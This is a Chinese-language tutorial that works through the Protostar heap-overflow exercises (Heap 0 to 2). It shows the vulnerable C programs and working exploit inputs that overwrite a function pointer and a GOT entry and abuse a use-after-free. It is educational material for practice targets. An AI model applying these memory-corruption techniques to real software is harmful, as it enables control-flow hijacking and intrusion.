通过 Protostar 学习“堆溢出”攻击


背景

Protostar (http://exploit-exercises.lains.space/protostar/) 提供了一系列常见渗透练习:

  • 网络编程
  • 字节序
  • 套接字
  • 栈溢出攻击
  • 格式化字符串攻击
  • 堆溢出攻击

本文将针对练习中“堆溢出攻击”部分进行讲解,希望读者可以对这其形成一些基础的认识。

规则

通过各种形式的漏洞劫持工作流。题目及靶机见官网。

注:使用 x86 而非 amd64 平台。

前置知识

堆结构

Heap 0

struct data {
    char name[64];
};

void winner() {
    printf("level passed\n");
}

void nowinner() {
    printf("level has not been passed\n");
}

int main(int argc, char **argv) {
    struct data *d;
    struct fp *f;

    d = malloc(sizeof(struct data));
    f = malloc(sizeof(struct fp));
    f->fp = nowinner;

    printf("data is at %p, fp is at %p\n", d, f);

    strcpy(d->name, argv[1]);

    f->fp();
}

我们需要利用 d->name 覆盖 f->fp

winner0x080484cb,令 data->name 覆写 fpwinner 即可。

$ ./heap0 `python -c "print 'A'*72+'\xcb\x84\x04\x08\x00'"`
data is at 0x804b008, fp is at 0x804b050
level passed

Heap 1

struct internet {
    int priority;
    char* name;
};

void winner() {
    printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char** argv) {
    struct internet *i1, *i2, *i3;
    i1 = malloc(sizeof(struct internet));
    i1->priority = 1;
    i1->name = malloc(8);
    i2 = malloc(sizeof(struct internet));
    i2->priority = 2;
    i2->name = malloc(8);
    strcpy(i1->name, argv[1]);
    strcpy(i2->name, argv[2]);
    printf("and that's a wrap folks!\n");
}

利用写 i1 修改 i2*nameputs@plt 指向的 0x804a014,然后修改其值为 winner(0804849b)

内容地址
i1->name0x804b018
&i2->name0x804b02c
$ ./heap1 `python -c "print 'A'*20+'\x14\xa0\x04\x08\x00'"` `echo -n -e "\x9b\x84\x04\x08\x00"`
Congratulation! The flag is heap-overflow-flow-hijack

Heap 2

struct auth {
    char name[32];
    int auth;
};

struct auth* auth;
char* service;

int main(int argc, char** argv) {
    char line[128];

    while (1) {
        printf("[ auth = %p, service = %p ]\n", auth, service);

        if (fgets(line, sizeof(line), stdin) == NULL)
            break;

        if (strncmp(line, "auth ", 5) == 0) {
            auth = malloc(sizeof(auth));
            memset(auth, 0, sizeof(auth));
            if (strlen(line + 5) < 31) {
                strcpy(auth->name, line + 5);
            }
        }
        if (strncmp(line, "reset", 5) == 0) {
            free(auth);
        }
        if (strncmp(line, "service", 6) == 0) {
            service = strdup(line + 7);
        }
        if (strncmp(line, "login", 5) == 0) {
            if (auth->auth) {
                printf("you have logged in already!\n");
            } else {
                printf("please enter your password\n");
            }
        }
    }
}

free(auth) 之后指针保留,但所在空间会被 service 占用,写入信息覆盖 auth 即可。

$ ./heap2
[ auth = (nil), service = (nil) ]
auth aaaaaaaa
[ auth = 0x804b818, service = (nil) ]
reset
[ auth = 0x804b818, service = (nil) ]
service fffffffffffffffffffffffffffffffffffffffffffffff
[ auth = 0x804b818, service = 0x804b828 ]
login
you have logged in already!